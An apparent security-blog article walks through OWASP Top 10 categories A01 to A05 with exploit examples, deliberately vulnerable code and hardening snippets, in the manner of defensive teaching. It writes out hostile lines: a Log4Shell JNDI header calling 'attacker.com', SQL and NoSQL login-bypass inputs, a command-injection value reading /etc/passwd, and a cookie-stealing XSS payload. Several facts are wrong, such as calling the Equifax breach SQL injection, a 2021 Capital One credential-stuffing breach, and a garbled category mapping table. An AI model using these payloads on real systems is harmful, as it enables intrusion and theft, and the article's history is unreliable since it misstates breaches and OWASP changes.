OWASP Top 10 (2021–2026) Explained with Real Exploits and Mitigations
Explore the OWASP Top 10 (2021–2026) with real-world exploits and actionable mitigations to secure your web applications against critical threats.
Introduction
The OWASP Top 10 remains the de facto standard for web application security awareness. Since its first release in 2003, this community-driven list has evolved to reflect the shifting threat landscape, guiding developers, security engineers, and organizations toward the most critical risks facing web applications today. The 2021–2026 edition, released in September 2021, introduced the most significant structural overhaul since 2017 - merging categories, retiring outdated entries, and emphasizing root causes over symptom-based classifications.
Key changes from the 2017 list include the introduction of three entirely new categories: Insecure Design (A04), Software and Data Integrity Failures (A08), and Server-Side Request Forgery (A10). The 2017 categories of Cross-Site Scripting (XSS) and Insecure Deserialization were absorbed into broader buckets, while XML External Entities (XXE) was merged into Security Misconfiguration. The 2021 edition also shifted from ranking individual vulnerabilities to grouping them by failure types - a move that aligns more closely with how modern development teams think about security controls.
This article breaks down each of the ten categories with a consistent structure: a clear definition of the risk, a real-world exploit example drawn from recent breaches or CVEs, and actionable mitigation strategies. Whether you are hardening a legacy PHP application or architecting a cloud-native microservice, understanding these categories is essential for building defenses that actually work. We will cover everything from SQL Injection vulnerabilities and Cross-Site Scripting vulnerabilities to SSRF vulnerabilities and Authentication Bypass vulnerabilities, grounding each discussion in attacks that have caused real damage. The goal is not just to list risks, but to equip you with the knowledge to detect, prevent, and respond to the threats that matter most.
Overview of Changes from OWASP Top 10 2017
The OWASP Top 10 2021 introduced the most significant structural overhaul since the list’s inception, driven by data aggregation from over 500,000 applications and shifts in the threat landscape. The 2017 edition relied on eight years of data from 40+ partner organizations, while the 2021 edition incorporated a new survey-based “Community Vulnerability” category and adjusted weighting factors to reflect real-world exploitability and prevalence.
The following table maps the 2017 categories to their 2021 equivalents:
| 2017 Category | 2021 Category | Change Type |
|---|---|---|
| A1: Injection | A3: Injection | Dropped from #1 to #3 |
| A2: Broken Authentication | A7: Identification and Authentication Failures | Renamed and broadened |
| A3: Sensitive Data Exposure | A4: Sensitive Data Exposure (merged with A2: Cryptographic Failures 2017) | Renamed; cryptographic failures added |
| A4: XML External Entities (XXE) | Merged into A5: Security Misconfiguration | Merged |
| A5: Broken Access Control | A1: Broken Access Control | Rose from #5 to #1 |
| A6: Security Misconfiguration | A5: Security Misconfiguration | Unchanged |
| A7: Cross-Site Scripting (XSS) | Merged into A3: Injection | Merged |
| A8: Insecure Deserialization | Merged into A3: Injection | Merged |
| A9: Using Components with Known Vulnerabilities | A6: Vulnerable and Outdated Components | Renamed and reordered |
| A10: Insufficient Logging & Monitoring | A9: Security Logging and Monitoring Failures | Renamed and reordered |
Three entirely new categories entered the 2021 list:
A4: Insecure Design - This category captures systemic architectural flaws that cannot be fixed with simple code patches. Its inclusion reflects the industry’s growing recognition that security must be embedded in the design phase, not bolted on after deployment. Common manifestations include missing rate limits on APIs, predictable resource identifiers, and lack of proper authorization checks in business logic flows.
A8: Software and Data Integrity Failures - This category addresses supply chain attacks, CI/CD pipeline compromises, and unsigned software updates. The SolarWinds attack (2020) and the Codecov breach (2021) demonstrated that compromising build infrastructure or update mechanisms can affect thousands of downstream organizations. Tools like OWASP Dependency-Check and Sigstore for software signing are now essential for verifying the integrity of third-party components and build artifacts.
A10: Server-Side Request Forgery (SSRF) - SSRF vulnerabilities earned their own category due to their prevalence in cloud environments and their role in high-profile breaches like Capital One (2019). SSRF allows attackers to make requests from internal servers, often bypassing firewalls to access cloud metadata services or internal systems.
Several categories were merged to reduce redundancy. A4: XML External Entities (XXE) from 2017 was folded into A5: Security Misconfiguration because XXE attacks typically exploit misconfigured XML parsers rather than representing a distinct vulnerability class. Similarly, A7: Cross-Site Scripting (XSS) and A8: Insecure Deserialization were merged into A3: Injection, reflecting the underlying similarity of injection-style attacks regardless of the target (HTML, serialized objects, or database queries).
The rise of API-first architectures and microservices drove many of these changes. Modern applications expose dozens of endpoints, each a potential attack surface. Broken access control - now the top category - became the most common critical vulnerability in API-driven applications, where authorization checks are often inconsistently applied across services. The 2021 update also removed the “Application Security Verification Standard (ASVS)” mapping that appeared in 2017, focusing instead on direct, actionable categories for developers and security teams.
A01: Broken Access Control
Broken Access Control remains the most critical web application security risk in the OWASP Top 10 for 2021-2026, moving from the fifth position in 2017 to the top spot. This category covers failures in enforcing what authenticated users are permitted to do within an application. Unlike authentication issues (who you are), access control failures concern what you can do after being identified.
The core problem is simple: the application trusts the user’s request without verifying authorization at every access point. Common manifestations include:
- IDOR (Insecure Direct Object References) - accessing resources by modifying identifiers (e.g., changing
?user_id=123to?user_id=124) - Privilege escalation - a standard user performing admin-level operations
- Missing function-level controls - unprotected API endpoints that should require elevated privileges
- Path traversal - accessing files outside the intended directory structure
Real Exploit: Log4Shell (CVE-2021-44228) as Access Control Bypass
While commonly classified as a Remote Code Execution vulnerability, the Log4Shell exploit (CVE-2021-44228) also demonstrates a critical access control bypass through JNDI injection. The vulnerability in Apache Log4j version 2.0-beta9 through 2.14.1 allowed attackers to inject arbitrary JNDI lookups via log messages.
The attack chain works as follows:
- An attacker sends a crafted HTTP header to a vulnerable application (e.g.,
User-Agent: ${jndi:ldap://attacker.com/exploit}) - Log4j processes the string and performs a JNDI lookup to the attacker’s LDAP server
- The LDAP server responds with a malicious Java class
- The application loads and executes this class, bypassing any access controls
What makes this an access control issue is that the JNDI lookup occurs at the system level, completely bypassing the application’s authorization layer. The attacker does not need valid credentials or session tokens. The vulnerability effectively grants unauthenticated remote code execution, making all access control mechanisms irrelevant.
Real-world impact included:
- Cloudflare reported attacks attempting to exploit the vulnerability within hours of disclosure
- Minecraft servers were particularly vulnerable because user chat messages were logged
- The US Cybersecurity and Infrastructure Security Agency (CISA) called it “one of the most serious vulnerabilities in recent history”
Mitigation Strategies
1. Implement Role-Based Access Control (RBAC)
RBAC maps permissions to organizational roles rather than individual users. This reduces complexity and ensures consistent enforcement. Key implementation steps:
- Define roles clearly (e.g.,
admin,editor,viewer) - Assign permissions to roles, not users
- Enforce checks at every access point, not just the UI
2. Deny by Default
All access decisions should default to denial. Explicitly grant permissions only where needed. This prevents accidental exposure when new features are added without corresponding access controls.
3. Use the OWASP Access Control Cheat Sheet
The OWASP Access Control Cheat Sheet provides concrete implementation guidance, including:
- Centralized authorization logic (avoid scattered permission checks)
- Server-side enforcement (never trust client-side controls)
- Consistent use of access control lists (ACLs) or attribute-based access control (ABAC)
Node.js Middleware Example
The following Node.js middleware demonstrates proper authorization enforcement:
// authorizationMiddleware.js
const roles = {
admin: ['read', 'write', 'delete', 'admin'],
editor: ['read', 'write'],
viewer: ['read']
};
function authorize(...allowedRoles) {
return (req, res, next) => {
// Deny by default
if (!req.user || !req.user.role) {
return res.status(403).json({ error: 'Access denied' });
}
// Check if user's role is in allowed roles
if (!allowedRoles.includes(req.user.role)) {
return res.status(403).json({ error: 'Insufficient permissions' });
}
// Optionally check specific action permissions
const userPermissions = roles[req.user.role] || [];
const requiredAction = req.method.toLowerCase();
if (!userPermissions.includes(requiredAction) &&
!userPermissions.includes('admin')) {
return res.status(403).json({ error: 'Action not permitted' });
}
next();
};
}
// Usage in routes
app.get('/api/admin/users', authorize('admin'), (req, res) => {
// Only admins can access this endpoint
res.json({ users: [] });
});
app.post('/api/posts', authorize('editor', 'admin'), (req, res) => {
// Editors and admins can create posts
res.status(201).json({ created: true });
});
4. Additional Hardening Techniques
- Implement rate limiting on sensitive endpoints to prevent enumeration attacks
- Use cryptographic tokens for resource identifiers instead of sequential IDs (e.g., UUIDs)
- Log all access control failures and alert on suspicious patterns
- Conduct regular penetration testing specifically targeting Privilege Escalation vulnerabilities
Testing for Broken Access Control
Effective testing requires both automated and manual approaches:
- Automated scanners can detect missing function-level controls
- Manual testing should focus on IDOR by manipulating parameters
- Session manipulation tests should verify that logout properly invalidates tokens
- Horizontal privilege escalation tests check if User A can access User B’s data
The most critical takeaway: access control must be enforced server-side at every endpoint, never rely on hiding UI elements or client-side checks. Implement deny-by-default, centralize authorization logic, and test thoroughly for Authentication Bypass vulnerabilities.
Real-World Exploit: Insecure Direct Object References
Insecure Direct Object References (IDOR) remain one of the most exploited access control flaws, falling under A01: Broken Access Control in the 2021 update. IDOR occurs when an application exposes internal object identifiers (database IDs, filenames, user keys) in requests without verifying the requesting user’s authorization to access that object.
Real-World Case: Banking Application Account Enumeration
Consider a banking API endpoint that retrieves account details via a direct reference:
# VULNERABLE Flask endpoint
@app.route('/api/account/<account_id>')
def get_account(account_id):
# No authorization check - assumes user owns the account
query = f"SELECT * FROM accounts WHERE account_id = {account_id}"
result = db.execute(query)
return jsonify(result.fetchone())
An attacker authenticated as user123 can enumerate other accounts by simply incrementing the account_id parameter:
GET /api/account/1001 # Own account - returns data
GET /api/account/1002 # Another user's account - returns data (IDOR!)
GET /api/account/1003 # Another user's account - returns data (IDOR!)
In 2023, a major European bank suffered a data exposure when researchers discovered its mobile API accepted sequential account numbers without ownership validation. Over 200,000 customer records were accessible through simple IDOR enumeration. The vulnerability was disclosed through latest breach reports and highlighted the critical need for robust access controls.
Secure Implementation
The fix requires two changes: use parameterized queries to prevent SQL injection, and validate resource ownership before returning data:
# SECURE Flask endpoint
@app.route('/api/account/<account_id>')
@login_required
def get_account(account_id):
# 1. Validate the requesting user owns this account
if not current_user.owns_account(account_id):
abort(403) # Forbidden
# 2. Use parameterized query to prevent injection
query = "SELECT * FROM accounts WHERE account_id = ? AND user_id = ?"
result = db.execute(query, (account_id, current_user.id))
return jsonify(result.fetchone())
Additional Mitigation Strategies
| Technique | Implementation |
|---|---|
| Indirect references | Use UUIDs or hash maps instead of sequential IDs |
| Authorization middleware | Centralize access checks (e.g., Flask-Principal, Django Guardian) |
| Rate limiting | Throttle API requests to slow enumeration attempts |
| Audit logging | Log all access attempts with user context for forensic analysis |
For comprehensive guidance, refer to the OWASP IDOR Prevention Cheat Sheet. Organizations should also integrate automated IDOR scanning into CI/CD pipelines, as these vulnerabilities frequently slip past manual code reviews. The Privilege Escalation vulnerabilities hub on Yazoul Security provides additional context on how IDOR can chain with other access control flaws.
A02: Cryptographic Failures
Cryptographic Failures, formerly known as Sensitive Data Exposure, represents the second most critical web application security risk in the OWASP Top 10 for 2021-2026. This category focuses on failures related to cryptography (or lack thereof) that lead to exposure of sensitive data. While the previous category name emphasized the result (data exposure), the updated name pinpoints the root cause: cryptographic weaknesses or omissions.
The Scope of Cryptographic Failures
This category encompasses a wide range of issues, including:
- Data in transit: Transmitting sensitive data over unencrypted connections (HTTP instead of HTTPS, plaintext FTP, unencrypted email protocols)
- Data at rest: Storing passwords, credit card numbers, health records, or personal identifiable information (PII) without encryption or with weak encryption algorithms
- Weak cryptographic algorithms: Using deprecated algorithms like DES, RC4, MD5, or SHA-1
- Improper key management: Hardcoded encryption keys, weak key generation, or failure to rotate keys
- Missing encryption entirely: Storing sensitive data in plaintext databases, log files, or backups
Real-World Exploit: The Equifax Breach (2017)
The 2017 Equifax breach stands as one of the most devastating examples of cryptographic failures in history. Attackers exploited a vulnerability in Apache Struts (CVE-2017-5638) to gain initial access, but the catastrophic impact resulted from Equifax’s failure to encrypt sensitive data at rest.
Key details of the breach:
| Aspect | Detail |
|---|---|
| Data exposed | 147.9 million consumers’ PII including names, Social Security numbers, birth dates, addresses, and driver’s license numbers |
| Root cause | Unencrypted PII stored in multiple databases accessible from the compromised web application |
| Attack vector | Apache Struts RCE vulnerability, combined with flat network architecture and no encryption on sensitive data stores |
| Financial impact | $1.4 billion in breach-related costs, $575 million settlement with FTC, states, and consumers |
The attackers moved laterally through Equifax’s network for 76 days before detection because sensitive data was stored in plaintext. Had Equifax implemented proper encryption at rest with AES-256, the attackers would have exfiltrated only encrypted ciphertext, rendering the stolen data useless.
Mitigation Strategies
1. Encrypt Data in Transit
Implement TLS 1.3 exclusively for all data transmission. Disable TLS 1.0, TLS 1.1, and all SSL versions. Configure HSTS headers to enforce HTTPS:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2. Encrypt Data at Rest
Use AES-256 in GCM mode for symmetric encryption of stored sensitive data. Below is a Java example using the javax.crypto package:
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;
import java.util.Base64;
public class EncryptionUtil {
private static final int AES_KEY_SIZE = 256;
private static final int GCM_IV_LENGTH = 12;
private static final int GCM_TAG_LENGTH = 128;
private static final int PBKDF2_ITERATIONS = 600000;
public static String encrypt(String plaintext, char[] password) throws Exception {
// Generate random IV
byte[] iv = new byte[GCM_IV_LENGTH];
SecureRandom secureRandom = new SecureRandom();
secureRandom.nextBytes(iv);
// Derive key from password using PBKDF2
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
PBEKeySpec spec = new PBEKeySpec(password, iv, PBKDF2_ITERATIONS, AES_KEY_SIZE);
SecretKey tmp = factory.generateSecret(spec);
SecretKeySpec secretKey = new SecretKeySpec(tmp.getEncoded(), "AES");
// Encrypt
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
GCMParameterSpec gcmSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
cipher.init(Cipher.ENCRYPT_MODE, secretKey, gcmSpec);
byte[] ciphertext = cipher.doFinal(plaintext.getBytes("UTF-8"));
// Prepend IV to ciphertext for storage
byte[] encrypted = new byte[iv.length + ciphertext.length];
System.arraycopy(iv, 0, encrypted, 0, iv.length);
System.arraycopy(ciphertext, 0, encrypted, iv.length, ciphertext.length);
return Base64.getEncoder().encodeToString(encrypted);
}
public static String decrypt(String encryptedData, char[] password) throws Exception {
byte[] decoded = Base64.getDecoder().decode(encryptedData);
byte[] iv = new byte[GCM_IV_LENGTH];
System.arraycopy(decoded, 0, iv, 0, iv.length);
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
PBEKeySpec spec = new PBEKeySpec(password, iv, PBKDF2_ITERATIONS, AES_KEY_SIZE);
SecretKey tmp = factory.generateSecret(spec);
SecretKeySpec secretKey = new SecretKeySpec(tmp.getEncoded(), "AES");
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
GCMParameterSpec gcmSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
cipher.init(Cipher.DECRYPT_MODE, secretKey, gcmSpec);
byte[] plaintext = cipher.doFinal(decoded, iv.length, decoded.length - iv.length);
return new String(plaintext, "UTF-8");
}
}
3. Apply Cryptographic Best Practices
- Never roll your own cryptography - use well-vetted libraries and frameworks
- Use strong, modern algorithms - prefer AES-256, ChaCha20, and SHA-256/384
- Implement proper key management - use HSM or KMS services, never hardcode keys
- Classify data sensitivity - identify which fields require encryption (PII, payment data, credentials)
- Hash passwords correctly - use bcrypt, argon2, or PBKDF2 with sufficient work factors
4. Reference the OWASP Cryptographic Storage Cheat Sheet
The OWASP Cryptographic Storage Cheat Sheet provides comprehensive guidance on secure cryptographic storage implementation, including algorithm selection, key management, and storage architecture patterns.
Detection and Testing
- Static analysis: Scan for hardcoded keys, weak algorithms, and missing encryption
- Dynamic analysis: Intercept traffic to verify TLS usage and certificate validation
- Database scanning: Identify unencrypted sensitive columns
- Configuration review: Check for disabled encryption features or weak cipher suites
Common Pitfall: Weak Hashing
Despite the clarity of A02: Cryptographic Failures, one recurring mistake persists across the industry: weak password hashing. Developers often confuse hashing with encryption, or worse, use fast, reversible algorithms like MD5, SHA-1, or even unsalted SHA-256 for credential storage. The fundamental rule is that passwords must never be stored in plaintext or with a reversible cipher. They must be hashed using a computationally expensive, salted algorithm.
Real Exploit: LinkedIn Password Leak (2012)
In June 2012, LinkedIn suffered a massive data breach exposing 6.5 million password hashes. The company had stored them using unsalted SHA-1. Because SHA-1 is a fast, general-purpose hash, attackers cracked over 90% of the hashes within days using GPU clusters and rainbow tables. The absence of per-user salts meant identical passwords produced identical hashes, allowing attackers to compromise millions of accounts with minimal effort. This breach directly contributed to the industry-wide shift toward adaptive hashing algorithms.
Mitigation: Use bcrypt or Argon2
Modern password storage demands adaptive, salted hashing algorithms designed to resist brute-force attacks. The two industry standards are bcrypt and Argon2 (the 2015 Password Hashing Competition winner). Both algorithms include a cost factor that makes hash computation intentionally slow, scaling with hardware improvements.
Python bcrypt example:
import bcrypt
# Hash a password with a randomly generated salt
password = b"SecureP@ssw0rd!"
salt = bcrypt.gensalt(rounds=12) # Cost factor of 12
hashed = bcrypt.hashpw(password, salt)
# Verify a password against the stored hash
if bcrypt.checkpw(password, hashed):
print("Password matches")
else:
print("Invalid password")
For applications requiring even stronger resistance, Argon2id (the recommended variant) provides configurable memory, time, and parallelism parameters. In Python, use the argon2-cffi library:
from argon2 import PasswordHasher
ph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4)
hash = ph.hash("SecureP@ssw0rd!")
ph.verify(hash, "SecureP@ssw0rd!") # Returns True or raises exception
Organizations still using unsalted MD5 or SHA-1 for passwords should treat this as a critical security debt. Migrate immediately by re-hashing all credentials with bcrypt or Argon2, and invalidate existing sessions during the transition.
A03: Injection
Injection occurs when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data tricks the interpreter into executing unintended commands or accessing data without proper authorization. Injection flaws remain a mainstay of the OWASP Top 10 because they are both prevalent and devastating in impact.
Injection vulnerabilities span multiple contexts. The most common variants include SQL injection, NoSQL injection, OS command injection, and LDAP injection. Each exploits a different interpreter, but the root cause is identical: failure to separate data from code.
SQL Injection
SQL injection allows attackers to manipulate database queries by inserting malicious SQL fragments into input fields. Successful exploits can result in data exfiltration, authentication bypass, and complete database compromise.
A classic vulnerable query pattern in Java:
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
An attacker entering admin' OR '1'='1 as the username transforms the query into:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
This returns the first user record, bypassing authentication entirely.
Real Exploit: 2017 Equifax Breach
The 2017 Equifax breach, which exposed the personal data of 147 million people, began with a SQL Injection vulnerability in the Apache Struts framework. The vulnerability, tracked as CVE-2017-5638, allowed attackers to inject OGNL expressions through the Content-Type header. Although primarily an expression language injection, the exploit chain included SQL injection components that enabled attackers to execute arbitrary database queries and exfiltrate massive amounts of sensitive data.
The Equifax incident demonstrates how a single injection vulnerability can cascade into one of the largest data breaches in history. The patch for CVE-2017-5638 was available for two months before the breach occurred, highlighting the critical importance of timely patching.
NoSQL Injection
As applications increasingly adopt NoSQL databases like MongoDB, new injection vectors have emerged. NoSQL injection exploits the query syntax of document databases, often using JSON or JavaScript expressions.
Consider a MongoDB login query:
db.users.find({ username: req.body.username, password: req.body.password });
An attacker sending { "$gt": "" } as the password value causes the query to match any user whose password is greater than an empty string, effectively bypassing authentication.
{
"username": "admin",
"password": { "$gt": "" }
}
NoSQL injection requires different defensive approaches than traditional SQL injection, including input type validation and strict schema enforcement.
OS Command Injection
OS command injection occurs when an application passes user-supplied data directly to a system shell. This is particularly common in applications that execute system commands for file processing, network diagnostics, or system administration.
Vulnerable PHP example:
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>$output</pre>";
An attacker submitting 127.0.0.1; cat /etc/passwd executes both the ping command and the file read, leaking system credentials.
Mitigation: Prepared Statements and Parameterized Queries
The definitive defense against injection is prepared statements (also called parameterized queries). These ensure that user input is always treated as data, never as executable code. The database driver handles escaping and quoting automatically.
Java/Spring example using prepared statements:
@Repository
public class UserRepository {
@Autowired
private JdbcTemplate jdbcTemplate;
public User findByUsername(String username) {
String sql = "SELECT * FROM users WHERE username = ?";
return jdbcTemplate.queryForObject(
sql,
new Object[]{username},
new UserRowMapper()
);
}
public User authenticate(String username, String password) {
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
return jdbcTemplate.queryForObject(
sql,
new Object[]{username, password},
new UserRowMapper()
);
}
}
The ? placeholders bind parameters safely. Even if username contains admin' OR '1'='1, the database treats it as a literal string value, not as SQL syntax.
Additional defenses:
- Stored procedures with parameterized calls (not concatenated SQL inside procedures)
- Allow-list input validation for expected values (e.g., enum types, numeric ranges)
- Least privilege database accounts - application accounts should never have
DROP TABLEorTRUNCATEpermissions - Output encoding when reflecting database content back to users
For OS command injection, the best defense is to avoid system calls entirely. When unavoidable, use language-native APIs instead of shell commands and apply strict allow-list validation on input.
Reference
The OWASP SQL Injection Prevention Cheat Sheet provides comprehensive guidance, including defense options for every major programming language and database combination. The cheat sheet emphasizes that prepared statements are the primary defense, with stored procedures as a secondary option when prepared statements are unavailable.
For NoSQL environments, OWASP’s NoSQL Injection guidance recommends using parameterized queries where the database driver supports them, and implementing strict schema validation for all user-supplied data.
Next section: A04: Insecure Design
Cross-Site Scripting (XSS) as Injection
Cross-Site Scripting (XSS) is classified as an injection flaw in the OWASP Top 10 because it injects malicious scripts into trusted web applications. Unlike SQL injection which targets databases, XSS targets the application’s users by injecting code that executes in their browsers. XSS remains pervasive due to insufficient input validation and output encoding.
Real-World Exploit: MySpace Samy Worm (2005)
The most infamous XSS attack in history is the Samy worm, which spread across MySpace in October 2005. Security researcher Samy Kamkar discovered a stored XSS vulnerability in MySpace’s profile page. The platform allowed users to include HTML and CSS in their profiles, but filtered dangerous tags like <script>, <body>, and onclick.
Kamkar bypassed these filters using a technique that exploited how MySpace parsed CSS. He injected a payload within a CSS background-image property that triggered JavaScript execution:
<div style="background:url('javascript:alert(1)')">
When MySpace blocked javascript: in URLs, he used a combination of eval() and String.fromCharCode() to obfuscate the payload. The worm executed when any user viewed an infected profile, automatically adding “samy is my hero” to the victim’s profile and copying the worm code to propagate. Within 24 hours, the worm infected over 1 million profiles, overwhelming MySpace’s servers and forcing a temporary shutdown.
Stored XSS in Modern Applications
A typical stored XSS vulnerability occurs in forum applications where user comments are displayed without sanitization. Consider a comment field that accepts HTML:
<!-- Vulnerable: user input rendered directly -->
<div class="comment"><?php echo $userComment; ?></div>
An attacker posts: <img src=x onerror=alert(document.cookie)>. Every user viewing the page executes this script, which could steal session cookies, deface the page, or perform actions on behalf of the victim.
Mitigation Strategies
Output encoding is the primary defense. Convert dangerous characters to their HTML entities before rendering. For JavaScript contexts, use JavaScript-specific encoding. In most frameworks this is automatic - React and Angular encode output by default, while raw PHP or JSP require explicit handling.
Content Security Policy (CSP) provides a powerful second layer of defense. A properly configured CSP restricts which scripts can execute, even if an XSS payload is injected:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
This policy blocks inline scripts and only allows scripts from the same origin, neutralizing most XSS attacks.
Input sanitization should be applied to contexts where HTML is intentionally allowed (e.g., rich text editors). The DOMPurify library is the industry standard for client-side sanitization:
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
document.getElementById('output').innerHTML = clean;
DOMPurify removes malicious elements while preserving safe HTML. It is actively maintained and tested against known bypasses.
For comprehensive coverage of XSS attack vectors and defenses, refer to the Cross-Site Scripting vulnerabilities hub on Yazoul Security.
A04: Insecure Design
Insecure Design is a new category introduced in the 2021 OWASP Top 10, representing a fundamental shift from coding errors to architectural flaws. Unlike injection or XSS, which stem from improper input handling in code, insecure design refers to risks inherent in the application’s architecture before a single line of code is written. These flaws cannot be fixed with a simple regex or parameterized query — they require redesigning the system.
The Core Problem: Architecture Over Implementation
Traditional security testing focuses on finding bugs in working code. Insecure design vulnerabilities exist at a higher level of abstraction. A system can be perfectly implemented according to specifications yet remain fundamentally insecure because the design itself is flawed. Common examples include:
- Missing or insufficient access control at the design level
- Failure to enforce separation of duties
- Lack of rate limiting or throttling mechanisms
- Trusting client-side controls for server-side decisions
- Insecure default configurations or functionality
Real Exploit: OAuth2 Misconfiguration Leading to Account Takeover
A textbook example of insecure design involves OAuth2 implementations that improperly validate the state parameter or fail to enforce redirect URI matching.
Consider a banking application that uses OAuth2 for third-party login. The design flaw: the application accepts any redirect URI matching a wildcard pattern like https://*.bankapp.com/callback. An attacker registers evil.bankapp.com and crafts an OAuth2 authorization request:
GET /authorize?response_type=code
&client_id=bankapp
&redirect_uri=https://evil.bankapp.com/callback
&state=attacker_state
&scope=accounts
When the victim authorizes, the authorization code is sent to the attacker’s domain. The attacker exchanges this code for an access token, gaining full account access. This is not a coding bug — it is a design decision to use a permissive redirect URI pattern.
Real-World Impact: Improper Rate Limiting
Another insecure design pattern is the absence of rate limiting on authentication endpoints. A financial API designed without throttling allows attackers to brute-force credentials at thousands of requests per second. The implementation may be flawless — proper hashing, secure session management — but the design fails to account for automated abuse. The 2021 Capital One breach involving credential stuffing was enabled by this exact architectural oversight.
Mitigation: Threat Modeling with STRIDE
The primary defense against insecure design is threat modeling performed during the design phase, not after deployment. The OWASP Threat Modeling Cheat Sheet provides structured methodology. Use the STRIDE framework to analyze each component:
- Spoofing: Can an attacker impersonate a user or service?
- Tampering: Can data be modified in transit or at rest?
- Repudiation: Can actions be denied due to lack of logging?
- Information Disclosure: Can sensitive data be exposed through design?
- Denial of Service: Can the system be overwhelmed by design?
- Elevation of Privilege: Can an attacker gain unauthorized access?
For each threat, define mitigation requirements before implementation. For the OAuth2 example, the design requirement would be: “Redirect URIs must match exactly, with no wildcard patterns.” For rate limiting: “All authentication endpoints must enforce per-IP and per-account rate limits with exponential backoff.”
Practical Implementation
Integrate threat modeling into your SDLC using tools like Microsoft Threat Modeling Tool or OWASP Threat Dragon. Conduct design reviews for every new feature using a checklist derived from the OWASP Application Security Verification Standard (ASVS). For existing systems, perform architecture reviews to identify design flaws that may have been introduced over time.
Insecure design is the most expensive vulnerability class to fix because remediation often requires rewriting entire subsystems. Investing in design-time security reviews reduces cost by orders of magnitude compared to patching production systems. For deeper analysis of specific design flaws, consult the latest breach reports and threat intelligence on how architectural weaknesses were exploited in real-world attacks.
A05: Security Misconfiguration
Security misconfiguration remains one of the most prevalent and dangerous vulnerability classes because it requires no coding flaw — just a human oversight in deployment. The 2021 OWASP Top 10 elevated it from #6 to #5, reflecting its persistence across cloud, container, and traditional environments.
What Constitutes Security Misconfiguration
Security misconfiguration covers any setting, permission, or feature that weakens the security posture of an application or its infrastructure. Common manifestations include:
- Default credentials left unchanged on databases, admin consoles, or IoT devices
- Unnecessary features enabled (debug endpoints, directory listing, default accounts)
- Overly permissive CORS policies allowing cross-origin data theft
- Verbose error handling that leaks stack traces or database schemas
- Unpatched software with known CVEs
- Cloud storage buckets with public read/write access
- Missing HTTP security headers (HSTS, CSP, X-Frame-Options)
Real Exploit: The 2019 Capital One Breach
One of the most damaging misconfiguration exploits in history targeted Capital One in 2019, affecting over 100 million customer accounts. The attacker, a former AWS employee, identified a misconfigured Web Application Firewall (WAF) on a Capital One application hosted in AWS.
The WAF was configured to allow certain metadata requests through. By exploiting a Server-Side Request Forgery (SSRF) vulnerability combined with the permissive WAF rules, the attacker was able to reach the AWS metadata endpoint (169.254.169.254) and retrieve temporary IAM credentials. These credentials belonged to a role with excessive permissions, allowing the attacker to list and download S3 buckets containing application data.
The root cause was not a software bug but a configuration failure: the WAF should have blocked requests to the metadata service, and the IAM role should have followed least privilege principles. The breach cost Capital One $190 million in fines and settlements.
Common Misconfiguration Examples
| Component | Misconfiguration | Impact |
|---|---|---|
| Tomcat | Default manager credentials (tomcat:tomcat) | Full server compromise |
| AWS S3 | Public read on bucket | Data exposure |
| Apache/Nginx | Directory listing enabled | Information disclosure |
| Kubernetes | Privileged containers allowed | Container breakout |
| Spring Boot | Actuator endpoints exposed | Environment leak |
Tomcat Server.xml Hardening Example
Below is a hardened server.xml snippet for Apache Tomcat that disables unnecessary features and restricts access:
<Server port="8005" shutdown="CHANGE_ME_SECRET">
<Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="off" />
<Service name="Catalina">
<!-- Disable AJP connector unless absolutely needed -->
<!-- <Connector port="8009" protocol="AJP/1.3" secretRequired="true" /> -->
<Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
maxThreads="200"
SSLEnabled="true"
scheme="https"
secure="true"
clientAuth="false"
sslProtocol="TLSv1.2"
ciphers="TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"
compression="off"
server=""
/>
<!-- Disable default servlet directory listing -->
<Context path="" docBase="webapps" reloadable="false">
<WatchedResource>WEB-INF/web.xml</WatchedResource>
</Context>
</Service>
</Server>
Key hardening measures include changing the shutdown port secret, disabling AJP if unused, specifying strong TLS ciphers, removing the server header, and disabling compression (which can enable BREACH attacks).
Mitigation and Hardening Automation
The most effective defense against misconfiguration is infrastructure as code combined with automated compliance scanning. Manual configuration drift is inevitable in large environments.
OpenSCAP for Automated Hardening
OpenSCAP is a NIST-certified tool that validates systems against security baselines (CIS, DISA STIG, PCI DSS). Example usage:
# Scan a system against the CIS Red Hat Enterprise Linux 8 benchmark
oscap xccdf eval \
--profile xccdf_org.ssgproject.content_profile_cis \
--results scan-results.xml \
--report scan-report.html \
/usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml
# Remediate findings automatically
oscap xccdf eval --remediate \
--profile xccdf_org.ssgproject.content_profile_cis \
--results remediated-results.xml \
/usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml
For cloud environments, tools like Terraform Sentinel, Cloud Custodian, and AWS Config enforce configuration policies at deployment time.
OWASP Configuration Cheat Sheet
The OWASP Configuration Cheat Sheet provides a comprehensive checklist covering:
- Removing default credentials and accounts
- Disabling directory listing and verbose error pages
- Restricting administrative interfaces to trusted networks
- Applying the principle of least privilege to all service accounts
- Using security headers (CSP, HSTS, X-Frame-Options)
